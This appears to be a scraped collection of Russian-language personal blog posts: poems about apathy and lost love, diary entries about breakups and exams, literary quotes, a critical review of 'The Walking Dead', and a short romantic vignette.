я просто давно ко всему апатичен,
и нравится мне, что нет страсти в груди.

проснусь по утру, никого не тревожа,
открою балкон - полной грудью вдохну!
и нравится мне тишина у прихожей,
известная только лишь мне одному.
_
и снова прошло долгожданное лето -
я очень устал находить и терять.
на столько устал, что мне нравится это -
никем не тревожась,
ложиться
в кровать.

#ахастахова #балкон

Я не должна посвящать столько времени на мысли о человеке, которому на меня плевать. Я не должна так себя вести, я ведь ненавижу быть слабой. Терпеть не могу.

Можно любить всю жизнь, а разлюбить дождливым утром в четверг.

Нет ничего плохого и зазорного в том, чтобы быть одиноким, неприспособленным к жизни, и любить енотиков.

В Новом Году желаю: 12 месяцев без болезней, 52 недели всего хорошего, 365 дней счастья, 8760 часов успеха, 525600 минут любви и 31536000 секунд приятных моментов.

Я ощущала себя очень тихой и очень пустой — как мёртвая точка торнадо, безропотно перемещающаяся с места на место посреди окружающего её неистовства стихий.

— Сильвия Плат, «Под стеклянным колпаком»

Женщин нельзя бросать.
Вы не знаете каково им потом подниматься.

— Ринат Валиуллин

твои вопросы быстрее
мысли мои меняют тело
гремлен режет стальные троссы
желающим насквозь прорыть шар земной
и выйти в открытый космос

уа
какой это год, вспомни, что ! говорили о нем
когда ты был рожден и чей
календарь начал твой первый день,
кто поставил ноль, шаг из строя вперёд "
Нам упрощают наводняя правдой с разных сторон

толщу ночи. вижу. как всё ближе. день Суда,
Будет открытием и не единственным что мы никому не должны объяснять истины. простые
и это не экзамен, ответ только перед собой весит в мере тонной сомнений
гиг, байт

в монитор взгляд, экзаменатор ты сам
роботы и не боги
бедные духом.. блаженны люди.. миллионы. мы могли. бы построить райский город, но
вникни. не закрывай текст что эхом звинит. хором голосов.
если это шанс то бери
тогда
кто

указывает связкам голосовым
перейти с шепота на стон
я запуталась и боюсь
закрыть глаза
тусклый экран дребезжит
за ним нет ничего
даже стражников
наших самых свирепых кошмаров ночных

я буду в жерву дарить лишь притяженьем двоих.
любовь спасет- не эти миры,
но уши, в чьИ
влетят Четверостишья И всколыхнут веки нежнейших, самых родных изгибов потревожь в толпе их потерять возможно

Я остыла. Надо в это поверить.Снова начинаю любить одиночество. Главное не скрываться, не вспоминать. Мне 19. И я окончательно одна с 30(29?) декабря. Я испортила эти отношения. Я не создана для отношений и для любви. Я, видимо, не умею. И я больше не хочу отношений, хотя бы пару лет. Свобода. Я вру.

Просто потрясность СеСу попала в глаз

Вот сдам сессию и закажу себе огромную пиццу с базиликом и сыром

Нет, две пиццы. Две!

Сука, сложно это все. как будто по минному полю ходишь - лишь бы чего не так не сделать. не буду ему писать больше, пусть сам пишет, если надо. я блять теперь тоже отвечать не буду.

Я блог уже веду лет так 7 наверное, жестьь да? Это треть моей жизни. И все страдаю то из-за одного, то из-за другого. Мне кажется я закончу когда моя жизнь переступить какой-то определённый порог. А то как то без Юлика и писать то не о чем. Я рада что мне 22, что я с высшим образованием, без гроша в Кормана, в поисках работы, и без душевных страданий. Это знаете ли вдохновляет. И я на полном серьезе.

Как жаль, что зайчик перестал передавать мне через маму всякие вкусности.

Однажды ты исчезнешь из моей памяти, ускользнешь, будто ты не плоть человека, а нежно – голубая вода. Все сотрется, превратится в тлен, заляжет глубоко на дне тихого океана и останется там.

Ведь все проходит. И ты у меня пройдешь. Ну или из меня. От мен. Не знаю. Растворишься во времени, как кофе растворяется по утрам на кухне. Зачем вообще ты появилась в моей жизни? Уйди из меня. Оставь. Я хочу оставить хотя бы малейшую часть истинной себя, которая не окажется под твоим влиянием. Ты проникла в мое тело, разум, даже музыку. Читаю между строк, а в голове ты. Зачем губишь меня? Оставь меня в покое.

Ты конечно же самая добрая,
и наверное самая лучшая,
Извини, что не смог прочувствовать
твою боль на душе нереальную.
Я звонил, когда мне надо было,
приезжал от случая к случаю,
И при этом не видел в тебе,
ни жену, ни мечту идеальную.

Ты всегда меня слушала…
знаешь, я тебе говорил, всё, что думал,
И ни с кем я не мог делиться тем,
что в сердце копилось годами,
Я кричал на тебя так часто,
повторял, что ты просто Дура,
Ты во ответ ничего…молчала,
соскребая всю боль слоями.

Воистину «Ходячие мертвецы» - это самый наискучнейший сериал. Поражает его огромная фанбаза, этим ребятам, наверное, и гольф покажется невероятно динамичным и захватывающим зрелищем.

Я начала смотреть «Ходячих», когда у меня был пик любви к «Обители зла», то есть когда только-только закончился первый сезон. Идея мне понравилась, и шесть серий проглотила залпом. Второй сезон совсем не оправдал ожиданий. По сути сюжет не получил никакого развития, люди борются за жизнь и… и всё. Мне настолько наскучило это зрелище, что я его бросила, даже не дождавшись смерти Шейна.

Перед Новым Годом я пересмотрела все сериалы, а новые серии ожидались только в конце января, и я снова решила вернуться к «Ходячим», причём смотреть стала сначала, но опять заскучала на середине второго сезона, и перешла сразу к третьему.

Новые герои, новые события, и вроде бы есть прогресс, но все 16 серий жевали этот конфликт между группой Рика и Губернатором, часто повторялась мысль, что надо бояться не только явных врагов «ходячих», но и выживших. И по сути на третьем сезоне могли логично завершить сериал, показав небольшой пролог, что планету постепенно вычистили, а выжившие отстраивают города и восстанавливают общество. Я бы была лично очень довольна.

Но нет, хотим снимать дальше. С четвёртого сезона посмотрела 1.5 серии, мне хватило.

Весь сериал проходит под девизом «Выживай и ной», периодически кто-то из героев срывается, пускает слёзки и ноет, как жить в этом мире. А происходит это часто, благо поводов много. Сюжет – это бесконечный идеальный шторм, не может пройти всё гладко, кто-нибудь налажает, кого-нибудь покусают, и в итоге кто-нибудь срывается и ноет.

Я всё ждала, что, в конце концов, будет продвижение с зомби, кто был нулевым пациентом и в принципе с чего всё началось. Надеялась, что будут какие-нибудь мутации, и однообразные и скучные зомби сменятся на что-нибудь весёлое, вроде боссов из Left4Dead.

И разу уж пошла речь, проблема лефт фор дэда в том, что зомби бесконечно спаунятся, и зачистить территорию невозможно, это заставляет игроков двигаться вперёд, а не стоять на месте и не возвращаться за ресурсами. И у меня возникло такое ощущение, что в «Ходячих» в лесу возле тюрьмы тоже стоит такой же спаунер, иначе потому что я не могу объяснить такое количество зомбей далеко от городов, которые опять же то укусят кого-нибудь, то забор сломают.

Я не хочу быть из тех мерзких типов, которые вечно говорят, что книги лучше фильмов и сериалов, но комикс, который лёг в основу сценария, довольно динамичный и интересный, для книжки с картинками, конечно. Сериал же нудный и однообразный, и ничего нового в зомби индустрию не добавляет.

Причитать закончила.

Он даже на рaсстоянии оcтался дороже теx, кто нахoдится возле мeня.

Таю как масло в сковородке, когда читаю о том, как у девчат жизнь налаживается! Все будет хорошо, немедленно все прекратите загоняться. Живите и наслаждайтесь, а говно разгребают по мере наступления, а не придумывают там себе чего-то.

Подруга моя переписывается с довольно приятным мч и пишет он довольно грамотно и хорошие вещи (говорю об этом, потому что, что только и как только ей не писали, а тут пока что джентельмен нашёлся) и вот он ей звонит, а она не берет трубку! На моё "какого хуя" она ответила:"А что я ему скажу? У меня голос ужасный и соплями ещё буду там шуметь" (нет, она не болеет, сопли и голос были автоматически придуманы) Думала убью её там, она же хочет с ним и общаться и все прочее, но… Короче заставила её хотя бы написать ему. Она может не писать день или два, а мне проезжаться по мозгам, что она хочет написать, но не знает что делать и вообще-то он сам должен все делать! О Боже боооже. Вот поэтому я и говорю, сначала посмотри и прогуляйся хоть раз, не понравится, что мешает сказать "сорян, бат ноу"? Пока она сидела думала что написать, уже и представила, что он маньяк и порежет её на кусочки, боги ахахв! Надеюсь все будет хорошо.

Мой фурункул чёт ахерел вообще уже не созревать и не лопаться (простите). Записалась к врачу и разобралась с онлайн записью, о боги, я сделал это и я не лошок какой-нибудь.

Завтра у меня удачный день! Я обязательно сдам экзамен на 4 и все будет волшебно!

Мы вчера все прозвали Илью салатом, потому что он по утрам ходит, завернувшись в одеяло, как Цезарь, а есть такой салат, значит он салат. Все смеялись, он тоже. Сегодня вот такая переписка была:

С этого момента он мне не отвечает, хотя сообщения читает. Спросила, обиделся ли он, сказала, что больше так не буду. Потом написала, что уронила елку и разбыла все шарики, но он уже не читает, хотя онлайн.

Я веду себя, как ребенок и сейчас будет тупой вопрос: он реально обиделся что ли? Вчера же все смеялись с этого.

Ты стал для меня табу, после того как исчез из моей жизни. Я старалась не задеть тебя даже краешком мысли. А теперь я шагаю по закоулкам своей памяти с гордо поднятой головой и ликую - я сделала это. Я всё-таки тебя пережила.

Жизнь никогда не играет по правилам. Она их устанавливает, но, вот беда, забывает уведомить об изменениях. Твоё имя должно было стать указателем дороги к счастью, а стало синонимом к слову боль. Но боль проходит. И ты прошёл.

— Хорошо, если бы все люди лет на пять замолчали. Тогда у всех слов снова появился бы смысл.

Эдвард Радзинский. «104 страницы про любовь» (1964)

— Не обзывай сам себя, Смеагорл, - сказал Фродо. - Это очень неразумно, даже если заслуженно.

— Властелин колец, Две твердыни

День 100: Самое лучшее в Вашем возрасте.

Молода, не беспокоюсь о многих вещах. Три с половиной года еще учиться, то есть тоже беспокоиться о будущем еще рано. Ошибки еще допускаю)

- Прости меня.
Вагоны лязгают о рельсы, в душе рядом стоящих людей тишина. Они оторваны друг от друга телефонами, соцсетями и механическими выражениями сосредоточенности и скуки на лице. Подобно героям из ее фильма, задеть их можно только локтем, но не словом.
И только двое по своему обыкновению истово принимаются друг к другу, объединив свои стены в одну: не разделяющую их между собой, а сплачивающей еще теснее.
- Прости меня, - шепчет девушка еще раз.
Ее половинка мягко морщится:
- За что?
- За то, что из-за меня тебе приходится много работать, решать дела с квартирой, чтобы мы жили вместе…
- Ну я же люблю тебя.
- Вот за это и прости меня.
- За то, что я тебя люблю? – его каре-зелёные глаза несколько светлеют, но лицо остается вдумчивым. – Нет, малыш. Такие косяки не прощают.
Она тянется к нему и легонько принимается губами к щеке. Ее возлюбленный редко позволяет себе быть серьёзным, и от этого такие моменты становятся более чем просто примечательными. Его насмешливый, шутливый тон может нарушается лишь изредка – когда он пишет стихи или если хочет сказать нечто важное. Его скула дергается, тронутая едва заметной улыбкой. Парень наклоняется и шепчет ей на ухо, вкладывая в две простые фразы всю запутанность их ненависти, нежности, страсти, боли и благоговении перед друг другом:
- Простить можно нелюбовь… Любовь же – нельзя.